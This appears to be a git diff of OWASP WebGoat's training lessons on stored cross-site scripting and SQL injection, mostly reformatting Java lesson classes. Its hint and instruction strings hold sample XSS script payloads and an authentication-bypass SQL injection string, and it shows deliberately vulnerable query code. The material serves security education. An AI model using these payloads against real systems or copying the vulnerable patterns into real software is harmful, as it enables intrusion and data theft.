- registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
- registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
- registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
- registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
+ public final static String STAGE1 = "Stored XSS";
- // These actions are special in that they chain to other actions.
- registerAction(new Login(this, className, LOGIN_ACTION,
- getAction(LISTSTAFF_ACTION)));
- registerAction(new Logout(this, className, LOGOUT_ACTION,
- getAction(LOGIN_ACTION)));
- registerAction(new FindProfile(this, className, FINDPROFILE_ACTION,
- getAction(VIEWPROFILE_ACTION)));
- registerAction(new UpdateProfile(this, className,
- UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
- registerAction(new DeleteProfile(this, className,
- DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
- }
+ public final static String STAGE2 = "Block Stored XSS using DB Input Validation";
- /**
- * Gets the category attribute of the CrossSiteScripting object
- *
- * @return The category value
- */
- public Category getDefaultCategory()
- {
- return Category.XSS;
- }
-
- /**
- * Gets the hints attribute of the DirectoryScreen object
- *
- * @return The hints value
- */
- protected List getHints(WebSession s)
- {
- List hints = new ArrayList();
-
- // Stage 1
- hints.add("You can put HTML tags in form input fields.");
- hints
- .add("Bury a SCRIPT tag in the field to attack anyone who reads it.");
- hints
- .add("Enter this: <script language=\"javascript\" type=\"text/javascript\">alert(\"Ha Ha Ha\");</script> in message fields.");
- hints
- .add("Enter this: <script>alert(\"document.cookie\");</script> in message fields.");
-
- // Stage 2
- hints
- .add("Many scripts rely on the use of special characters such as: <");
- hints
- .add("Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering).");
- hints
- .add("Oracle 10 supports a regular expression matching function : REGEXP_LIKE(text, pattern).");
-
- return hints;
- }
-
-
- /**
- * Gets the instructions attribute of the ParameterInjection object
- *
- * @return The instructions value
- */
- public String getInstructions(WebSession s)
- {
- String instructions = "";
-
- if (!getLessonTracker(s).getCompleted())
+ protected void registerActions(String className)
{
- String stage = getStage(s);
- if (STAGE1.equals(stage))
- {
- instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack. "
- + "As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. "
- + "Verify that 'Jerry' is affected by the attack. "
- + "A sample JavaScript snippet you can use is: <SCRIPT>alert('bang!');</SCRIPT>.";
- }
- else if (STAGE2.equals(stage))
+ registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
+ registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
+ registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
+ registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
+ registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
+
+ // These actions are special in that they chain to other actions.
+ registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
+ registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
+ registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
+ registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
+ registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
+ }
+
+ /**
+ * Gets the category attribute of the CrossSiteScripting object
+ *
+ * @return The category value
+ */
+ public Category getDefaultCategory()
+ {
+ return Category.XSS;
+ }
+
+ /**
+ * Gets the hints attribute of the DirectoryScreen object
+ *
+ * @return The hints value
+ */
+ protected List getHints(WebSession s)
+ {
+ List hints = new ArrayList();
+
+ // Stage 1
+ hints.add("You can put HTML tags in form input fields.");
+ hints.add("Bury a SCRIPT tag in the field to attack anyone who reads it.");
+ hints
+ .add("Enter this: <script language=\"javascript\" type=\"text/javascript\">alert(\"Ha Ha Ha\");</script> in message fields.");
+ hints.add("Enter this: <script>alert(\"document.cookie\");</script> in message fields.");
+
+ // Stage 2
+ hints.add("Many scripts rely on the use of special characters such as: <");
+ hints
+ .add("Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering).");
+ hints.add("Oracle 10 supports a regular expression matching function : REGEXP_LIKE(text, pattern).");
+
+ return hints;
+ }
+
+ /**
+ * Gets the instructions attribute of the ParameterInjection object
+ *
+ * @return The instructions value
+ */
+ public String getInstructions(WebSession s)
+ {
+ String instructions = "";
+
+ if (!getLessonTracker(s).getCompleted())
{
- instructions = "Stage 2: Block Stored XSS using Input Validation. "
- + "Implement a fix in the stored procedure to prevent the stored XSS from being written to the database. ";
- if (getWebgoatContext().getDatabaseDriver().contains("jtds"))
- instructions += "Use the provided user-defined function RegexMatch to test the data against a pattern. ";
- instructions += "A sample regular expression pattern: ^[a-zA-Z0-9,\\. ]{0,80}$ "
- + "Repeat stage 1 as 'Eric' with 'David' as the manager. Verify that 'David' is not affected by the attack.";
+ String stage = getStage(s);
+ if (STAGE1.equals(stage))
+ {
+ instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack. "
+ + "As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. "
+ + "Verify that 'Jerry' is affected by the attack. "
+ + "A sample JavaScript snippet you can use is: <SCRIPT>alert('bang!');</SCRIPT>.";
+ }
+ else if (STAGE2.equals(stage))
+ {
+ instructions = "Stage 2: Block Stored XSS using Input Validation. "
+ + "Implement a fix in the stored procedure to prevent the stored XSS from being written to the database. ";
+ if (getWebgoatContext().getDatabaseDriver().contains("jtds"))
+ instructions += "Use the provided user-defined function RegexMatch to test the data against a pattern. ";
+ instructions += "A sample regular expression pattern: ^[a-zA-Z0-9,\\. ]{0,80}$ "
+ + "Repeat stage 1 as 'Eric' with 'David' as the manager. Verify that 'David' is not affected by the attack.";
+ }
}
+
+ return instructions;
+
}
- return instructions;
-
- }
-
- @Override
- public String[] getStages() {
- if (getWebgoatContext().isCodingExercises())
- return new String[] {STAGE1, STAGE2};
- return new String[] {STAGE1};
- }
-
- public void handleRequest(WebSession s)
- {
- if (s.getLessonSession(this) == null)
- s.openLessonSession(this);
-
- String requestedActionName = null;
- try
- {
- requestedActionName = s.getParser().getStringParameter("action");
- }
- catch (ParameterNotFoundException pnfe)
- {
- // Let them eat login page.
- requestedActionName = LOGIN_ACTION;
- }
-
- if (requestedActionName != null)
- {
- try
- {
- LessonAction action = getAction(requestedActionName);
-
- if (action != null)
- {
- if (!action.requiresAuthentication()
- || action.isAuthenticated(s))
- {
- action.handleRequest(s);
- //setCurrentAction(s, action.getNextPage(s));
- }
- }
- else
- {
- setCurrentAction(s, ERROR_ACTION);
- }
- }
- catch (ParameterNotFoundException pnfe)
- {
- System.out.println("Missing parameter");
- pnfe.printStackTrace();
- setCurrentAction(s, ERROR_ACTION);
- }
- catch (ValidationException ve)
- {
- System.out.println("Validation failed");
- ve.printStackTrace();
- setCurrentAction(s, ERROR_ACTION);
- }
- catch (UnauthenticatedException ue)
- {
- s.setMessage("Login failed");
- System.out.println("Authentication failure");
- ue.printStackTrace();
- }
- catch (UnauthorizedException ue2)
- {
- s.setMessage("You are not authorized to perform this function");
- System.out.println("Authorization failure");
- ue2.printStackTrace();
- }
- catch (Exception e)
- {
- // All other errors send the user to the generic error page
- System.out.println("handleRequest() error");
- e.printStackTrace();
- setCurrentAction(s, ERROR_ACTION);
- }
- }
-
- // All this does for this lesson is ensure that a non-null content exists.
- setContent(new ElementContainer());
- }
-
- protected Integer getDefaultRanking()
- {
- return DEFAULT_RANKING;
- }
-
-
- /**
- * Gets the title attribute of the CrossSiteScripting object
- *
- * @return The title value
- */
- public String getTitle()
- {
- return "LAB: DB Cross Site Scripting (XSS)";
- }
-
@Override
- protected boolean getDefaultHidden() {
+ public String[] getStages()
+ {
+ if (getWebgoatContext().isCodingExercises()) return new String[] { STAGE1, STAGE2 };
+ return new String[] { STAGE1 };
+ }
+
+ public void handleRequest(WebSession s)
+ {
+ if (s.getLessonSession(this) == null) s.openLessonSession(this);
+
+ String requestedActionName = null;
+ try
+ {
+ requestedActionName = s.getParser().getStringParameter("action");
+ } catch (ParameterNotFoundException pnfe)
+ {
+ // Let them eat login page.
+ requestedActionName = LOGIN_ACTION;
+ }
+
+ if (requestedActionName != null)
+ {
+ try
+ {
+ LessonAction action = getAction(requestedActionName);
+
+ if (action != null)
+ {
+ if (!action.requiresAuthentication() || action.isAuthenticated(s))
+ {
+ action.handleRequest(s);
+ // setCurrentAction(s, action.getNextPage(s));
+ }
+ }
+ else
+ {
+ setCurrentAction(s, ERROR_ACTION);
+ }
+ } catch (ParameterNotFoundException pnfe)
+ {
+ System.out.println("Missing parameter");
+ pnfe.printStackTrace();
+ setCurrentAction(s, ERROR_ACTION);
+ } catch (ValidationException ve)
+ {
+ System.out.println("Validation failed");
+ ve.printStackTrace();
+ setCurrentAction(s, ERROR_ACTION);
+ } catch (UnauthenticatedException ue)
+ {
+ s.setMessage("Login failed");
+ System.out.println("Authentication failure");
+ ue.printStackTrace();
+ } catch (UnauthorizedException ue2)
+ {
+ s.setMessage("You are not authorized to perform this function");
+ System.out.println("Authorization failure");
+ ue2.printStackTrace();
+ } catch (Exception e)
+ {
+ // All other errors send the user to the generic error page
+ System.out.println("handleRequest() error");
+ e.printStackTrace();
+ setCurrentAction(s, ERROR_ACTION);
+ }
+ }
+
+ // All this does for this lesson is ensure that a non-null content exists.
+ setContent(new ElementContainer());
+ }
+
+ protected Integer getDefaultRanking()
+ {
+ return DEFAULT_RANKING;
+ }
+
+ /**
+ * Gets the title attribute of the CrossSiteScripting object
+ *
+ * @return The title value
+ */
+ public String getTitle()
+ {
+ return "LAB: DB Cross Site Scripting (XSS)";
+ }
+
+ @Override
+ protected boolean getDefaultHidden()
+ {
String driver = getWebgoatContext().getDatabaseDriver();
- boolean hidden = ! (driver.contains("oracle") || driver.contains("jtds"));
+ boolean hidden = !(driver.contains("oracle") || driver.contains("jtds"));
return hidden;
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/DBCrossSiteScripting/UpdateProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/DBCrossSiteScripting/UpdateProfile.java
index a09008621..087eaa05a 100755
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/DBCrossSiteScripting/UpdateProfile.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/DBCrossSiteScripting/UpdateProfile.java
@@ -1,3 +1,4 @@
+
package org.owasp.webgoat.lessons.DBCrossSiteScripting;
import java.sql.CallableStatement;
@@ -5,9 +6,7 @@ import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
-
import javax.servlet.http.HttpServletRequest;
-
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
@@ -19,250 +18,223 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class UpdateProfile extends DefaultLessonAction
{
- private LessonAction chainedAction;
+ private LessonAction chainedAction;
-
- public UpdateProfile(GoatHillsFinancial lesson, String lessonName,
- String actionName, LessonAction chainedAction)
- {
- super(lesson, lessonName, actionName);
- this.chainedAction = chainedAction;
- }
-
-
- public void handleRequest(WebSession s) throws ParameterNotFoundException,
- UnauthenticatedException, UnauthorizedException,
- ValidationException
- {
- if (isAuthenticated(s))
+ public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{
- int userId = getIntSessionAttribute(s, getLessonName() + "."
- + RoleBasedAccessControl.USER_ID);
+ super(lesson, lessonName, actionName);
+ this.chainedAction = chainedAction;
+ }
- HttpServletRequest request = s.getRequest();
- int subjectId = Integer.parseInt(request.getParameter(DBCrossSiteScripting.EMPLOYEE_ID));
- String firstName = request.getParameter(DBCrossSiteScripting.FIRST_NAME);
- String lastName = request.getParameter(DBCrossSiteScripting.LAST_NAME);
- String ssn = request.getParameter(DBCrossSiteScripting.SSN);
- String title = request.getParameter(DBCrossSiteScripting.TITLE);
- String phone = request.getParameter(DBCrossSiteScripting.PHONE_NUMBER);
- String address1 = request.getParameter(DBCrossSiteScripting.ADDRESS1);
- String address2 = request.getParameter(DBCrossSiteScripting.ADDRESS2);
- int manager = Integer.parseInt(request
- .getParameter(DBCrossSiteScripting.MANAGER));
- String startDate = request.getParameter(DBCrossSiteScripting.START_DATE);
- int salary = Integer.parseInt(request
- .getParameter(DBCrossSiteScripting.SALARY));
- String ccn = request.getParameter(DBCrossSiteScripting.CCN);
- int ccnLimit = Integer.parseInt(request
- .getParameter(DBCrossSiteScripting.CCN_LIMIT));
- String disciplinaryActionDate = request
- .getParameter(DBCrossSiteScripting.DISCIPLINARY_DATE);
- String disciplinaryActionNotes = request
- .getParameter(DBCrossSiteScripting.DISCIPLINARY_NOTES);
- String personalDescription = request
- .getParameter(DBCrossSiteScripting.DESCRIPTION);
+ public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
+ UnauthorizedException, ValidationException
+ {
+ if (isAuthenticated(s))
+ {
+ int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
- Employee employee = new Employee(subjectId, firstName, lastName, ssn,
- title, phone, address1, address2, manager, startDate, salary,
- ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
- personalDescription);
+ HttpServletRequest request = s.getRequest();
+ int subjectId = Integer.parseInt(request.getParameter(DBCrossSiteScripting.EMPLOYEE_ID));
+ String firstName = request.getParameter(DBCrossSiteScripting.FIRST_NAME);
+ String lastName = request.getParameter(DBCrossSiteScripting.LAST_NAME);
+ String ssn = request.getParameter(DBCrossSiteScripting.SSN);
+ String title = request.getParameter(DBCrossSiteScripting.TITLE);
+ String phone = request.getParameter(DBCrossSiteScripting.PHONE_NUMBER);
+ String address1 = request.getParameter(DBCrossSiteScripting.ADDRESS1);
+ String address2 = request.getParameter(DBCrossSiteScripting.ADDRESS2);
+ int manager = Integer.parseInt(request.getParameter(DBCrossSiteScripting.MANAGER));
+ String startDate = request.getParameter(DBCrossSiteScripting.START_DATE);
+ int salary = Integer.parseInt(request.getParameter(DBCrossSiteScripting.SALARY));
+ String ccn = request.getParameter(DBCrossSiteScripting.CCN);
+ int ccnLimit = Integer.parseInt(request.getParameter(DBCrossSiteScripting.CCN_LIMIT));
+ String disciplinaryActionDate = request.getParameter(DBCrossSiteScripting.DISCIPLINARY_DATE);
+ String disciplinaryActionNotes = request.getParameter(DBCrossSiteScripting.DISCIPLINARY_NOTES);
+ String personalDescription = request.getParameter(DBCrossSiteScripting.DESCRIPTION);
- try
- {
- if (subjectId > 0)
- {
- this.changeEmployeeProfile(s, userId, subjectId, employee);
- setRequestAttribute(s, getLessonName() + "."
- + DBCrossSiteScripting.EMPLOYEE_ID, Integer
- .toString(subjectId));
- if (DBCrossSiteScripting.STAGE1.equals(getStage(s)))
+ Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
+ manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
+ personalDescription);
+
+ try
{
- address1 = address1.toLowerCase();
- boolean pass = address1.contains("");
- if (pass)
+ if (subjectId > 0)
{
- setStageComplete(s, DBCrossSiteScripting.STAGE1);
+ this.changeEmployeeProfile(s, userId, subjectId, employee);
+ setRequestAttribute(s, getLessonName() + "." + DBCrossSiteScripting.EMPLOYEE_ID, Integer
+ .toString(subjectId));
+ if (DBCrossSiteScripting.STAGE1.equals(getStage(s)))
+ {
+ address1 = address1.toLowerCase();
+ boolean pass = address1.contains("");
+ if (pass)
+ {
+ setStageComplete(s, DBCrossSiteScripting.STAGE1);
+ }
+ }
}
+ else
+ this.createEmployeeProfile(s, userId, employee);
+ } catch (SQLException e)
+ {
+ s.setMessage("Error updating employee profile");
+ e.printStackTrace();
+ if (DBCrossSiteScripting.STAGE2.equals(getStage(s))
+ && (e.getMessage().contains("ORA-06512") || e.getMessage().contains("Illegal characters"))
+ && !employee.getAddress1().matches("^[a-zA-Z0-9,\\. ]{0,80}$"))
+ {
+ setStageComplete(s, DBCrossSiteScripting.STAGE2);
+ }
+
+ } catch (ClassNotFoundException e)
+ {
+ s.setMessage("Error updating employee profile");
+ e.printStackTrace();
}
- }
- else
- this.createEmployeeProfile(s, userId, employee);
- }
- catch (SQLException e)
- {
- s.setMessage("Error updating employee profile");
- e.printStackTrace();
- if (DBCrossSiteScripting.STAGE2.equals(getStage(s)) &&
- (e.getMessage().contains("ORA-06512") || e.getMessage().contains("Illegal characters")) &&
- !employee.getAddress1().matches("^[a-zA-Z0-9,\\. ]{0,80}$"))
- {
- setStageComplete(s, DBCrossSiteScripting.STAGE2);
- }
- }
- catch (ClassNotFoundException e)
- {
- s.setMessage("Error updating employee profile");
- e.printStackTrace();
- }
-
- try
- {
- chainedAction.handleRequest(s);
- }
- catch (UnauthenticatedException ue1)
- {
- System.out.println("Internal server error");
- ue1.printStackTrace();
- }
- catch (UnauthorizedException ue2)
- {
- System.out.println("Internal server error");
- ue2.printStackTrace();
- }
+ try
+ {
+ chainedAction.handleRequest(s);
+ } catch (UnauthenticatedException ue1)
+ {
+ System.out.println("Internal server error");
+ ue1.printStackTrace();
+ } catch (UnauthorizedException ue2)
+ {
+ System.out.println("Internal server error");
+ ue2.printStackTrace();
+ }
+ }
+ else
+ throw new UnauthenticatedException();
}
- else
- throw new UnauthenticatedException();
- }
- public String getNextPage(WebSession s)
- {
- return DBCrossSiteScripting.VIEWPROFILE_ACTION;
- }
-
-
- public void changeEmployeeProfile(WebSession s, int userId, int subjectId,
- Employee employee) throws SQLException, ClassNotFoundException
- {
- try
- {
- String update = " { CALL UPDATE_EMPLOYEE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?) }";
- CallableStatement call = WebSession.getConnection(s).prepareCall(update);
- // Note: The password field is ONLY set by ChangePassword
- call.setInt(1, userId);
- call.setString(2, employee.getFirstName());
- call.setString(3, employee.getLastName());
- call.setString(4, employee.getSsn());
- call.setString(5, employee.getTitle());
- call.setString(6, employee.getPhoneNumber());
- call.setString(7, employee.getAddress1());
- call.setString(8, employee.getAddress2());
- call.setInt(9, employee.getManager());
- call.setString(10, employee.getStartDate());
- call.setInt(11, employee.getSalary());
- call.setString(12, employee.getCcn());
- call.setInt(13, employee.getCcnLimit());
- call.setString(14, employee.getDisciplinaryActionDate());
- call.setString(15, employee.getDisciplinaryActionNotes());
- call.setString(16, employee.getPersonalDescription());
- call.executeUpdate();
- }
- catch (ClassNotFoundException e)
- {
- e.printStackTrace();
- }
- }
-
- public void createEmployeeProfile(WebSession s, int userId,
- Employee employee) throws UnauthorizedException
- {
- try
+ public String getNextPage(WebSession s)
{
+ return DBCrossSiteScripting.VIEWPROFILE_ACTION;
+ }
+
+ public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee) throws SQLException,
+ ClassNotFoundException
+ {
+ try
+ {
+ String update = " { CALL UPDATE_EMPLOYEE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?) }";
+ CallableStatement call = WebSession.getConnection(s).prepareCall(update);
+ // Note: The password field is ONLY set by ChangePassword
+ call.setInt(1, userId);
+ call.setString(2, employee.getFirstName());
+ call.setString(3, employee.getLastName());
+ call.setString(4, employee.getSsn());
+ call.setString(5, employee.getTitle());
+ call.setString(6, employee.getPhoneNumber());
+ call.setString(7, employee.getAddress1());
+ call.setString(8, employee.getAddress2());
+ call.setInt(9, employee.getManager());
+ call.setString(10, employee.getStartDate());
+ call.setInt(11, employee.getSalary());
+ call.setString(12, employee.getCcn());
+ call.setInt(13, employee.getCcnLimit());
+ call.setString(14, employee.getDisciplinaryActionDate());
+ call.setString(15, employee.getDisciplinaryActionNotes());
+ call.setString(16, employee.getPersonalDescription());
+ call.executeUpdate();
+ } catch (ClassNotFoundException e)
+ {
+ e.printStackTrace();
+ }
+ }
+
+ public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException
+ {
+ try
+ {
int nextId = getNextUID(s);
- String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
+ String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
- try
- {
- PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query);
+ try
+ {
+ PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query);
- ps.setString(1, employee.getFirstName().toLowerCase());
- ps.setString(2, employee.getLastName());
- ps.setString(3, employee.getSsn());
- ps.setString(4, employee.getTitle());
- ps.setString(5, employee.getPhoneNumber());
- ps.setString(6, employee.getAddress1());
- ps.setString(7, employee.getAddress2());
- ps.setInt(8, employee.getManager());
- ps.setString(9, employee.getStartDate());
- ps.setString(10, employee.getCcn());
- ps.setInt(11, employee.getCcnLimit());
- ps.setString(12, employee.getDisciplinaryActionDate());
- ps.setString(13, employee.getDisciplinaryActionNotes());
- ps.setString(14, employee.getPersonalDescription());
+ ps.setString(1, employee.getFirstName().toLowerCase());
+ ps.setString(2, employee.getLastName());
+ ps.setString(3, employee.getSsn());
+ ps.setString(4, employee.getTitle());
+ ps.setString(5, employee.getPhoneNumber());
+ ps.setString(6, employee.getAddress1());
+ ps.setString(7, employee.getAddress2());
+ ps.setInt(8, employee.getManager());
+ ps.setString(9, employee.getStartDate());
+ ps.setString(10, employee.getCcn());
+ ps.setInt(11, employee.getCcnLimit());
+ ps.setString(12, employee.getDisciplinaryActionDate());
+ ps.setString(13, employee.getDisciplinaryActionNotes());
+ ps.setString(14, employee.getPersonalDescription());
- ps.execute();
- }
- catch (SQLException sqle)
- {
- s.setMessage("Error updating employee profile");
- sqle.printStackTrace();
- }
+ ps.execute();
+ } catch (SQLException sqle)
+ {
+ s.setMessage("Error updating employee profile");
+ sqle.printStackTrace();
+ }
+ } catch (Exception e)
+ {
+ s.setMessage("Error updating employee profile");
+ e.printStackTrace();
+ }
}
- catch (Exception e)
- {
- s.setMessage("Error updating employee profile");
- e.printStackTrace();
- }
- }
- private int getNextUID(WebSession s)
- {
- int uid = -1;
- try
+ private int getNextUID(WebSession s)
{
- Statement statement = WebSession.getConnection(s).createStatement(
- ResultSet.TYPE_SCROLL_INSENSITIVE,
- ResultSet.CONCUR_READ_ONLY);
- ResultSet results = statement
- .executeQuery("select max(userid) as uid from employee");
- results.first();
- uid = results.getInt("uid");
+ int uid = -1;
+ try
+ {
+ Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
+ ResultSet.CONCUR_READ_ONLY);
+ ResultSet results = statement.executeQuery("select max(userid) as uid from employee");
+ results.first();
+ uid = results.getInt("uid");
+ } catch (SQLException sqle)
+ {
+ sqle.printStackTrace();
+ s.setMessage("Error updating employee profile");
+ } catch (ClassNotFoundException e)
+ {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+ return uid + 1;
}
- catch (SQLException sqle)
- {
- sqle.printStackTrace();
- s.setMessage("Error updating employee profile");
- }
- catch (ClassNotFoundException e)
- {
- // TODO Auto-generated catch block
- e.printStackTrace();
- }
- return uid + 1;
- }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/DBSQLInjection/DBSQLInjection.java b/main/project/JavaSource/org/owasp/webgoat/lessons/DBSQLInjection/DBSQLInjection.java
index 5d86f373d..287be6ce2 100755
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/DBSQLInjection/DBSQLInjection.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/DBSQLInjection/DBSQLInjection.java
@@ -1,3 +1,4 @@
+
package org.owasp.webgoat.lessons.DBSQLInjection;
import java.util.ArrayList;
@@ -20,241 +21,224 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class DBSQLInjection extends GoatHillsFinancial
{
- private final static Integer DEFAULT_RANKING = new Integer(75);
+ private final static Integer DEFAULT_RANKING = new Integer(75);
- public final static int PRIZE_EMPLOYEE_ID = 112;
+ public final static int PRIZE_EMPLOYEE_ID = 112;
- public final static String PRIZE_EMPLOYEE_NAME = "Neville Bartholomew";
+ public final static String PRIZE_EMPLOYEE_NAME = "Neville Bartholomew";
- public final static String STAGE1 = "String SQL Injection";
-
- public final static String STAGE2 = "Block SQL Injection using Bind Variables";
-
- public void registerActions(String className)
- {
- registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
- registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
- registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
- registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
- registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
+ public final static String STAGE1 = "String SQL Injection";
- // These actions are special in that they chain to other actions.
- registerAction(new Login(this, className, LOGIN_ACTION,
- getAction(LISTSTAFF_ACTION)));
- registerAction(new Logout(this, className, LOGOUT_ACTION,
- getAction(LOGIN_ACTION)));
- registerAction(new FindProfile(this, className, FINDPROFILE_ACTION,
- getAction(VIEWPROFILE_ACTION)));
- registerAction(new UpdateProfile(this, className,
- UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
- registerAction(new DeleteProfile(this, className,
- DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
- }
+ public final static String STAGE2 = "Block SQL Injection using Bind Variables";
- /**
- * Gets the category attribute of the CrossSiteScripting object
- *
- * @return The category value
- */
- public Category getDefaultCategory()
- {
- return Category.INJECTION;
- }
-
- /**
- * Gets the hints attribute of the DirectoryScreen object
- *
- * @return The hints value
- */
- protected List getHints(WebSession s)
- {
- List hints = new ArrayList();
- hints
- .add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
- hints
- .add("This is the code for the query being built and issued by WebGoat:
"
- + "stmt := 'SELECT USERID FROM EMPLOYEE WHERE USERID = ' || v_id || ' AND PASSWORD = ''' || v_password || ''''; "
- + "EXECUTE IMMEDIATE stmt INTO v_userid;");
- hints
- .add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
- + "Remember: You need to end up with a SQL statement that only returns one row, since we are using an INTO clause");
-
- // Stage 1
- hints
- .add("You may need to use WebScarab to remove a field length limit to fit your attack.");
- hints.add("Try entering a password of [ ' OR userid=112 OR password=' ].");
-
- // Stage 2
- hints
- .add("Change the Stored procedure to use bind variables.");
-
- return hints;
- }
-
- @Override
- public String[] getStages() {
